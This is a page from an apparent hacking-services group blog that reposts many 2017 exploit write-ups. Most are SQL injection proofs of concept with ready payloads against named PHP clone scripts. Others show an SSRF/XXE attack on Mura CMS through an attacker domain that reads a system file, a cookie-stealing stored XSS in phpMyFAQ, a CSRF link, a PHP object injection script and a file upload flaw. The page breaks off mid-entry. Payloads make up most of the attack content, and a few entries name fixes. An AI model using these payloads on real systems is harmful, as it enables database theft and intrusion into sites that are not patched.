Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863547177

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: FS Ebay Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/ebay-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is indeed the best standard auction product pre-integrated with a robust multi-vendor interface and a powerful CMS panel. 

Technical Details & Description:
================================

SQL injection on [pd_maincat_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/advance-search-result.php?keywords=any&pd_maincat_id=1' AND 7301=7301 AND 'iXUk'='iXUk&submit=Search

Parameter: pd_maincat_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keywords=any&pd_maincat_id=1' AND 7301=7301 AND 'iXUk'='iXUk&submit=Search

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: keywords=any&pd_maincat_id=1' AND SLEEP(5) AND 'aHHy'='aHHy&submit=Search

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Food Delivery Script - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/food-delivery/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is a versatile script to help you launch a online food delivery portal like Foodpanda.

Technical Details & Description:
================================

SQL injection on [keywords] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/food/

Parameter: keywords (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: keywords=xxxxx' AND (SELECT 2438 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(2438=2438,1))),0x7162717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'TkKa'='TkKa&order_option=1&category=1&price=1000

    Type: UNION query
    Title: Generic UNION query (NULL) - 22 columns
    Payload: keywords=xxxxx' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a786a71,0x497a704b724e4c4e665a556e6b626d45534a696d5a79554d726e506a686a6c5649627355675a6269,0x7162717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- hSOz&order_option=1&category=1&price=1000

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Expedia Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/expedia-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Coded in PHP/MySQL, this is an ultra efficient script hot favorite with travel agencies worldwide.

Technical Details & Description:
================================

SQL injection on [hid] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/hotel.php?hid=2 AND 6652=6652

Parameter: hid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: hid=2 AND 6652=6652

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: hid=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: hid=-1685 UNION ALL SELECT NULL,CONCAT(0x7162716271,0x696b6a4c52576c76446173666d5972704d454258706146434f544c78416a52754444694864786a42,0x7176786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Nqcw
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Freelancer Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/freelancer-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Launching within minutes the best ever reverse auction website available online is no more a distant dream!

Technical Details & Description:
================================

SQL injection on [sk] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/category.php?sk=2 AND 5895=5895

Parameter: sk (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sk=2 AND 5895=5895

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: sk=-9224 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627071,0x6a5954706679724662715071764b6f6b6b5448677770526873556c726b747079556b5341516d7559,0x716a627a71),NULL-- Pddp
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Groupon Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/groupon-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Developed in PHP/MySQL, the script is a perfect solution for a daily deal software with utmost versatility.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search_product.php?category=1 AND 8132=8132&name=xxxxx

Parameter: category (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category=1 AND 8132=8132&name=xxxxx

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: category=1 AND SLEEP(5)&name=xxxxx
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Indiamart Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/indiamart-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
The most favored web solution for webmasters aspiring to launch B2B Portals at minimum investment of time, money and effort.

Technical Details & Description:
================================

SQL injection on [keywords] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search.php?keywords=product') UNION ALL SELECT NULL,CONCAT(0x716b787071,0x506961776c6f79515068694b454e736668707675627448527949566e434472706a72624a466a5468,0x7171627171)-- LEhA&rctyp=Products

Parameter: keywords (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: keywords=product') UNION ALL SELECT NULL,CONCAT(0x716b787071,0x506961776c6f79515068694b454e736668707675627448527949566e434472706a72624a466a5468,0x7171627171)-- LEhA&rctyp=Products
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS OLX Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/olx-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
The best performing Classifieds software ever known.

Technical Details & Description:
================================

SQL injection on [catg_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search-result.php?searchbox=search&catg_id=5' AND 4453=4453 AND 'QlZa'='QlZa

Parameter: catg_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: searchbox=search&catg_id=5' AND 4453=4453 AND 'QlZa'='QlZa

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Lynda Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/lynda-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
It was never this easy to launch a video tutorial website similar to Lynda.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/tutorial/

Parameter: category (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category=5 AND 1845=1845&keywords=xxxxx

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: Mura CMS before 6.2 SSRF + XXE
# Date: 30-10-2017
# Exploit Author: Anthony Cole
# Vendor Homepage: http://www.getmura.com/
# Version: before 6.2
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2008 w/ Coldfusion 8
# CVE: CVE-2017-15639
# Category: webapps
 
1. Description
   
Any user can cause Mura CMS before version 6.2 to make a http request.  As an added bonus, the response from that HTTP GET request is passed directly to XmlParse().  It is possible to read a file from the file system using an XXE attack.
 
   
2. Proof of Concept

vulnerable file is on github, line 50:
https://github.com/blueriver/MuraCMS/blob/c8753ce80373eca302c6d9d8a02ff63a1d308991/tasks/feed/readRSS.cfm
 
http://www.target.tld/tasks/feed/readRSS.cfm?siteid=SITENAMEHERE&rssurl=http://evil-domain.com/file.xml&MAXRSSITEMS=500

Explanation of params
	siteid - The siteid can be obtained by viewing the html source code of the target home page and searching "siteid".
	rssurl - This is the URL you want Mura CMS to call out to.
	
To perform a XXE attack, you will need to stand up a web server: python -m SimpleHTTPServer 80
	
Then create a file:

<?xml version="1.0" ?>
<!DOCTYPE rss [
        <!ENTITY send SYSTEM "file:///c:\Windows\System32\drivers\etc\hosts">
]>

<rss version="2.0">
<channel>
        <title>title</title>
        <link>link</link>
        <description>description</description>
        <generator>http://www.getmura.com</generator>
        <pubDate>Thu, 28 Sep 2018 11:55:19 -0700</pubDate>
        <language>en-us</language>
        <item>
                <title>Item title</title>
                <link>http://host/</link>
                <guid isPermaLink="false">00000000-0000-0000-0000000000000000</guid>
                <pubDate>Thu, 21 Sep 2018 00:00:01 -0700</pubDate>
                <description>&send;</description>
        </item>
</channel>
</rss>
   
3. Solution:

delete readRSS.cfm from the server.
HireHackking 
# Exploit Title: FS Shutter Stock Clone - 'keywords' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/shutterstock-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
This is a versatile script to help you to launch a stock photo like Shutterstock.

Technical Details & Description:
================================

SQL injection on [keywords] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/Category/

Parameter: keywords (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: keywords=SEARCH' AND (SELECT 2673 FROM(SELECT COUNT(*),CONCAT(0x716b706b71,(SELECT (ELT(2673=2673,1))),0x71767a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UqZI'='UqZI&category=3

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: keywords=SEARCH' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706b71,0x6251747761714a75646f44454749674748584975524b6c59687576456c68696761764659764a6954,0x71767a6b71)-- HXrZ&category=3

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Thumbtack Clone - 'ser' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/thumbtack-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
Marketplace Script is a popular software solution helping you launch a marketplace website within minutes.

Technical Details & Description:
================================

SQL injection on [ser] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/service-provider.php?ser=9631

Parameter: ser (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ser=9631' AND 8601=8601 AND 'ZarH'='ZarH
    
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS Vulnerability 
# Date: 28-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip 
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15727

1. Description

In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment.

2. Proof of concept

Exploit code

    <!DOCTYPE html>
    <html>
    <head>
    <title>XSS EXPLOIT</title>
    </head>
    <body>
    <script>confirm(document.cookie)</script>
    </body>
    </html>



Steps to reproduce:

1. Create a user having limited access rights to attachment section 
2. Goto http://localhost/phpmyfaq/admin/?action=editentry
2. Upload the exploit code with .html extension at the place of attachements
3. Access the file url generated at /phpmyfaq/attachments/<random_path>
4. Reach to last file using directory traversal and XSS will triage 

3. Solution 

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip
HireHackking 
# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]
# Google Dork: [NA]
# Date: [Okt 30 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]
# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]
# Version: [<= 4.2.24] 
# Tested on: [Ubuntu Server 16.04]
# CVE : [NA]

tested on app version 4.2.23, 4.2.24

we can send an evil cookie (login not required) to vulnerable function
1. vulnerable code on Functions/Process_Ajax.php <= tested

   203 // Adds an item to the plugin's cart
   204 function UPCP_Add_To_Cart() {
   205 global $woocommerce;
   206 global $wpdb;
   207 global $items_table_name;
   208
   209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");
   210
   211 if ($WooCommerce_Checkout == "Yes") {
   212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));
   213 echo "WC ID: " . $WC_Prod_ID . "<Br>";
   214 $woocommerce->cart->add_to_cart($WC_Prod_ID);
   215 }
   216
   217 if (isset($_COOKIE['upcp_cart_products'])) {
   218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));
   219 }
   220 else {
   221 $Products_Array = array();
   222 }
   223
   224 $Products_Array[] = $_POST['prod_ID'];
   225 $Products_Array = array_unique($Products_Array);
   226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");
   227 }
   228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');
   229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );

2. vulnerable code on Functions/Shortcodes.php <= not tested
  
POC
1. use a WP plugin to test php object injection, 
like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/

2. make a request 
#-----------------------------------
#! /usr/bin/python
import requests
url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";
data = {'action':'upcp_add_to_cart'}
headers = {
'Content-type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'
}
r = requests.post(url, data=data, headers=headers)

print r.content

#------------------------------------
HireHackking 
# Exploit Title: phpMyFAQ 2.9.8 CSRF Vulnerability 
# Date: 27-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip 
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15730

1. Description

In phpMyFAQ before 2.9.8, there is Cross-Site Request Forgery (CSRF) in admin/stat.ratings.php.

2. Proof of concept

    <html>
    <head>
    <title>PHPMYSQL CSRF EXPLOIT</title>
    </head>
    <body>
    <a href="http://127.0.0.1/phpmyfaq/admin/?action=clear-statistics">EXPLOIT!</a>
    </body>
    </html>


3. Solution 

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip
HireHackking 
# # # # # 
# Exploit Title: Zomato Clone Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/099S4111872/php-scripts/zomato-clone-script
# Demo: http://jhinstitute.com/demo/foodpanda/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15993
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/restaurant-menu.php?resid=[SQL]
# 
# -539'+++/*!02222UNION*/+/*!02222SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3130,(/*!02222Select*/+export_set(5,@:=0,(/*!02222select*/+count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x3132,0x3133,0x3134--+-
# 
# Parameter: resid (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: resid=-9239 OR 3532=3532#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: resid=539 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: MySQL UNION query (87) - 10 columns
#     Payload: resid=539 UNION ALL SELECT 87,87,87,87,87,CONCAT(0x7170767071,0x7368446c664e5950484e757a6b4b5a616972446f41484d74485874656e476369647a774865767369,0x7176766b71),87,87,87,87#
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Website Broker Script - 'status_id' Parameter SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/UwCG4464436/php-scripts/website-broker-script
# Demo: http://www.officialwebsiteforsale.com/official/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15992
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/status_list.php?status_id=[SQL]
# 
# -12'++/*!50000UNION*/+/*!50000SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5--+-
# 
# Parameter: status_id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: status_id=12' AND 2717=2717 AND 'fNVA'='fNVA
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 5 columns
#     Payload: status_id=-1351' UNION ALL SELECT NULL,CONCAT(0x71716b7a71,0x4857455572714d7a48506145547643734d6b794f515a506d6469764f5666736c6d754c7468444178,0x716a6b6271),NULL,NULL,NULL-- AJcv
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Php Inventory & Invoice Management System - Arbitrary File Upload
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://savsofteproducts.com/
# Software Link: http://www.phpinventory.com/
# Demo: http://phpinventory.com/phpinventory_demo/ 
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15990
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an users upload arbitrary file....
# 
# Vulnerable Source:
#
# .............1
# if($_FILES['userfile']['name']!=''){	
#	$target = 'images/user_pics/';
#	$targets = $target . basename( $_FILES['userfile']['name']);
#	$docadd=($_FILES['userfile']['name']);
#	if(move_uploaded_file($_FILES['userfile']['tmp_name'], $targets))
#		{
#			$pfilename=$_FILES['userfile']['name'];
#			$filename=time().$pfilename;
#			$new_path=$target.$filename;
#			rename($targets,$new_path);
#		}
#
#}else{
#$filename=$_POST['user_picname'];
#}
# .............2,3,4
# $target = 'images/logo/';
# $target = 'images/product_images/';
# $target = 'images/service_providers/';
# Etc..
# .............
#
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php/dashboard/edit_myaccountdetail/
# 
# http://localhost/[PATH]/images/user_pics/[...].php
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Vastal I-Tech Agent Zone - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://vastal.com/
# Software http://vastal.com/agent-zone-real-estate-script.html
# Demo: http://agentzone.vastal.com/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15991
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/searchCommercial.php?property_type=[SQL]&city=[SQL]&posted_by=[SQL]
# 
# http://localhost/[PATH]/searchResidential.php?property_type=[SQL]&city=[SQL]&bedroom=[SQL]
# 
# Parameter: city (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: property_type=&city=-5275 OR 1703=1703#&posted_by=
# 
#     Type: error-based
#     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
#     Payload: property_type=&city=-1769 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (2860=2860) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&posted_by=
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
#     Payload: property_type=&city=(CASE WHEN (9487=9487) THEN SLEEP(5) ELSE 9487 END)&posted_by=
# 
# Parameter: posted_by (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: property_type=&city=&posted_by=-5550 OR 1335=1335#
# 
#     Type: error-based
#     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
#     Payload: property_type=&city=&posted_by=-9423 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (4134=4134) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
#     Payload: property_type=&city=&posted_by=(CASE WHEN (3754=3754) THEN SLEEP(5) ELSE 3754 END)
# 
# Parameter: property_type (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: property_type=-8633 OR 6527=6527#&city=&posted_by=
# 
#     Type: error-based
#     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
#     Payload: property_type=-4342 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (3911=3911) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&city=&posted_by=
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
#     Payload: property_type=(CASE WHEN (2911=2911) THEN SLEEP(5) ELSE 2911 END)&city=&posted_by=
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Online Exam Test Application - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/1z2e4672468/php-scripts/online-exam-test-application
# Demo: http://198.38.86.159/~onlineexamboard/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15989
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/resources.php?action=category&sort=[SQL]
# 
# -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+-
# 
# Parameter: sort (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: action=category&sort=8 AND 5525=5525
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: action=category&sort=8 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 4 columns
#     Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f68467842734c4268517654667a6e584e63634871574f4f454e,0x716b766a71),NULL-- Yhyw
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Nice PHP FAQ Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.nicephpscripts.com/
# Software http://www.nicephpscripts.com/demo_php_script-PHP-FAQ-Script-Knowledgebase-Script.htm
# Demo: http://www.nicephpscripts.com/scripts/faqscript/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15988
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?nice_theme=[SQL]
# 
# Parameter: nice_theme (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: nice_theme=3 AND 5083=5083
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Fake Magazine Cover Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.websitescripts.org/
# Software Link: http://www.websitescripts.org/website-scripts/fake-magazine-cover-script/prod_81.html
# Demo: http://websitescripts.org/demo/magazinecoverscript/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15987
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/rate.php?value=[SQL]
# 
# -1047+/*!00005UniOn*/+/*!00005SelEct*/+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),2--+-
# 
# http://localhost/[PATH]/content.php?id=[SQL]
# 
# -237+/*!00005UNION*/+/*!00005SELECT*/+1,2,3,4,5,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),7,8,9,10,11,12,13--+-
# 
# Parameter: value (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: value=1047 AND 6465=6465
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: value=1047 AND SLEEP(5)
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: id=237 AND 1343=1343
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=237 AND SLEEP(5)
# 	
# Etc..
# # # # #
HireHackking 
<!--
# # # # # 
# Exploit Title: CPA Lead Reward Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.websitescripts.org/
